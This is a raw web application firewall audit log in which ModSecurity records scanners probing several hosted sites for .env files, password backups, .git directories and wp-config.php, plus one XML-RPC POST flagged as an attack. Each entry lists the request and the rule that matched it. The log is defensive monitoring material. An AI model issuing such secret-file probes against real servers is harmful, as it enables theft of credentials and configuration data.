"aE9_f4kQyF8-ounHsxsMbgAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040447789718 683709 (- - -) Stopwatch2: 1750040447789718 683709; combined=2593, p1=538, p2=1967, p3=0, p4=0, p5=87, sr=121, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --71a2643d-Z-- --0fd2c51d-A-- [16/Jun/2025:07:50:49.534694 +0530] aE9_gPvF1ly0gx5reNmIbAAAAAE 185.177.72.210 43360 127.0.0.1 7081 --0fd2c51d-B-- GET /:10000/bootstrap/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --0fd2c51d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=08662389115a53b8dd64c28b1cad44671750040449; expires=Mon, 16 Jun 2025 03:20:49 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --0fd2c51d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/bootstrap/.env"] [unique_id "aE9_gPvF1ly0gx5reNmIbAAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040448857691 677149 (- - -) Stopwatch2: 1750040448857691 677149; combined=1761, p1=394, p2=1256, p3=0, p4=0, p5=110, sr=92, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0fd2c51d-Z-- --e549cd1c-A-- [16/Jun/2025:07:50:50.515680 +0530] aE9_gavO5IZc5ZzLe_3rTAAAAAA 185.177.72.210 54406 127.0.0.1 7081 --e549cd1c-B-- GET /:8000/stag/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e549cd1c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=ba743bfd8d358bb3ca2b99f3ed23e4ee1750040450; expires=Mon, 16 Jun 2025 03:20:50 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e549cd1c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/stag/.env"] [unique_id "aE9_gavO5IZc5ZzLe_3rTAAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040449854368 661417 (- - -) Stopwatch2: 1750040449854368 661417; combined=2140, p1=501, p2=1531, p3=0, p4=0, p5=107, sr=88, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e549cd1c-Z-- --3e303d01-A-- [16/Jun/2025:07:51:03.376266 +0530] aE9_jokQyF8-ounHsxsMgQAAAA8 185.177.72.210 34704 127.0.0.1 7081 --3e303d01-B-- GET /.mr.developer.cfg HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3e303d01-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=0b1d52f47bbda57f2430e5d167abc7f31750040463; expires=Mon, 16 Jun 2025 03:21:03 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3e303d01-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".mr.developer.cfg"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".mr.developer.cfg"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/.mr.developer.cfg"] [unique_id "aE9_jokQyF8-ounHsxsMgQAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040462698223 678138 (- - -) Stopwatch2: 1750040462698223 678138; combined=2199, p1=365, p2=1719, p3=0, p4=0, p5=115, sr=109, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3e303d01-Z-- --c5e74e1f-A-- [16/Jun/2025:07:51:08.990376 +0530] aE9_lKvO5IZc5ZzLe_3rVwAAAAA 185.177.72.210 34926 127.0.0.1 7081 --c5e74e1f-B-- GET /web/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c5e74e1f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b75985893f9974e21b110c43693c2e211750040468; expires=Mon, 16 Jun 2025 03:21:08 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c5e74e1f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/web/.env"] [unique_id "aE9_lKvO5IZc5ZzLe_3rVwAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040468316186 674291 (- - -) Stopwatch2: 1750040468316186 674291; combined=1779, p1=412, p2=1237, p3=0, p4=0, p5=130, sr=98, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c5e74e1f-Z-- --c926f455-A-- [16/Jun/2025:07:51:23.131817 +0530] aE9_ovvF1ly0gx5reNmIiAAAAAE 185.177.72.210 39842 127.0.0.1 7081 --c926f455-B-- GET /passwd.bak HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c926f455-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=aa3170751a89c459646b47a7e7d1f8491750040482; expires=Mon, 16 Jun 2025 03:21:22 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c926f455-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/passwd.bak"] [unique_id "aE9_ovvF1ly0gx5reNmIiAAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040482485259 646623 (- - -) Stopwatch2: 1750040482485259 646623; combined=1948, p1=324, p2=1519, p3=0, p4=0, p5=105, sr=94, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c926f455-Z-- --e2841b4b-A-- [16/Jun/2025:07:51:25.122755 +0530] aE9_pKvO5IZc5ZzLe_3rZQAAAAA 185.177.72.210 39948 127.0.0.1 7081 --e2841b4b-B-- GET /backups/.git/ HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e2841b4b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=9cc5354ab7d1f6a1c7e7c7068528803d1750040484; expires=Mon, 16 Jun 2025 03:21:24 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e2841b4b-H-- Message: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/backups/.git/"] [unique_id "aE9_pKvO5IZc5ZzLe_3rZQAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040484433842 689017 (- - -) Stopwatch2: 1750040484433842 689017; combined=1963, p1=393, p2=1450, p3=0, p4=0, p5=120, sr=94, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e2841b4b-Z-- --3ff2511f-A-- [16/Jun/2025:07:51:28.538062 +0530] aE9_p-OzMRjUd1ppiI2t2QAAAAQ 185.177.72.210 40568 127.0.0.1 7081 --3ff2511f-B-- GET /:8008/crm/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3ff2511f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=5f9724b10f6522c7fcfb497dcaa0595d1750040488; expires=Mon, 16 Jun 2025 03:21:28 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3ff2511f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/crm/.env"] [unique_id "aE9_p-OzMRjUd1ppiI2t2QAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040487854120 684031 (- - -) Stopwatch2: 1750040487854120 684031; combined=1546, p1=324, p2=1115, p3=0, p4=0, p5=106, sr=77, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3ff2511f-Z-- --f08d275a-A-- [16/Jun/2025:07:51:29.557481 +0530] aE9_qGCnKbldJKSM7awepwAAAAc 185.177.72.210 40690 127.0.0.1 7081 --f08d275a-B-- GET /:9000/dev/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f08d275a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b311f2239d54e894e1332eef566483e31750040489; expires=Mon, 16 Jun 2025 03:21:29 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f08d275a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/dev/.env"] [unique_id "aE9_qGCnKbldJKSM7awepwAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040488889466 668092 (- - -) Stopwatch2: 1750040488889466 668092; combined=2428, p1=468, p2=1872, p3=0, p4=0, p5=88, sr=113, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f08d275a-Z-- --621e3f1e-A-- [16/Jun/2025:07:51:30.525190 +0530] aE9_qQD0DwMUVKUIct3buQAAAAI 185.177.72.210 60814 127.0.0.1 7081 --621e3f1e-B-- GET /:8880/site/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --621e3f1e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=4f4207b4184952ea6e5bd015fd3a16021750040490; expires=Mon, 16 Jun 2025 03:21:30 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --621e3f1e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/site/.env"] [unique_id "aE9_qQD0DwMUVKUIct3buQAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040489880174 645079 (- - -) Stopwatch2: 1750040489880174 645079; combined=1743, p1=422, p2=1216, p3=0, p4=0, p5=105, sr=105, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --621e3f1e-Z-- --49297960-A-- [16/Jun/2025:07:51:34.802898 +0530] aE9_ruOzMRjUd1ppiI2t4AAAAAQ 52.169.53.14 47526 127.0.0.1 7080 --49297960-B-- GET /wp-config.php HTTP/1.0 Host: deck-story.com X-Real-IP: 52.169.53.14 Connection: close --49297960-F-- HTTP/1.1 404 Not Found Content-Length: 260 Connection: close Content-Type: text/html; charset=iso-8859-1 --49297960-H-- Message: Warning. Matched phrase "wp-config.php" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "deck-story.com"] [uri "/wp-config.php"] [unique_id "aE9_ruOzMRjUd1ppiI2t4AAAAAQ"] Apache-Error: [file "./sapi/apache2handler/sapi_apache2.c"] [line 360] [level 3] script '/var/www/vhosts/default/htdocs/wp-config.php' not found or unable to stat Apache-Handler: application/x-httpd-php Stopwatch: 1750040494799883 3053 (- - -) Stopwatch2: 1750040494799883 3053; combined=1836, p1=376, p2=1349, p3=26, p4=25, p5=60, sr=97, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --49297960-Z-- --b3dcac66-A-- [16/Jun/2025:07:51:35.114282 +0530] aE9_rkN_xpBAtP8SIP09PwAAAAo 128.199.112.101 60984 127.0.0.1 7081 --b3dcac66-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 492 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --b3dcac66-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --b3dcac66-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9_rkN_xpBAtP8SIP09PwAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040494092995 1021349 (- - -) Stopwatch2: 1750040494092995 1021349; combined=2437, p1=388, p2=1730, p3=33, p4=49, p5=149, sr=104, sw=88, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b3dcac66-Z-- --245cdc69-A-- [16/Jun/2025:07:51:40.857359 +0530] aE9_tAS4XDlCv3KXioQLxQAAAAY 52.169.53.14 45700 127.0.0.1 7080 --245cdc69-B-- GET /wp/wp-admin/includes/class-wp-filesystem-base.php.bak HTTP/1.0 Host: deck-story.com X-Real-IP: 52.169.53.14 Connection: close --245cdc69-F-- HTTP/1.1 404 Not Found Content-Length: 260 Connection: close Content-Type: text/html; charset=iso-8859-1 --245cdc69-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||deck-story.com|F|2"] [data ".php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||deck-story.com|F|2"] [data ".php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "deck-story.com"] [uri "/wp/wp-admin/includes/class-wp-filesystem-base.php.bak"] [unique_id "aE9_tAS4XDlCv3KXioQLxQAAAAY"] Stopwatch: 1750040500854457 2938 (- - -) Stopwatch2: 1750040500854457 2938; combined=1698, p1=357, p2=1244, p3=17, p4=25, p5=54, sr=109, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --245cdc69-Z-- --4a96e01f-A-- [16/Jun/2025:07:51:45.662152 +0530] aE9_uGCnKbldJKSM7awetgAAAAc 185.177.72.210 59172 127.0.0.1 7081 --4a96e01f-B-- GET /:8181/tmp/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --4a96e01f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=3fbce8f4f7be5c29af2571501d9a3c5c1750040505; expires=Mon, 16 Jun 2025 03:21:45 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --4a96e01f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/tmp/.env"] [unique_id "aE9_uGCnKbldJKSM7awetgAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040504995656 666573 (- - -) Stopwatch2: 1750040504995656 666573; combined=1639, p1=331, p2=1194, p3=0, p4=0, p5=113, sr=80, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4a96e01f-Z-- --b8a8497d-A-- [16/Jun/2025:07:51:46.643007 +0530] aE9_uboFnONBt7jRcBybhwAAAA4 185.177.72.210 59204 127.0.0.1 7081 --b8a8497d-B-- GET /.env.old HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b8a8497d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=3977c94eaf4195062bc1cbdc4cb011141750040506; expires=Mon, 16 Jun 2025 03:21:46 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b8a8497d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file 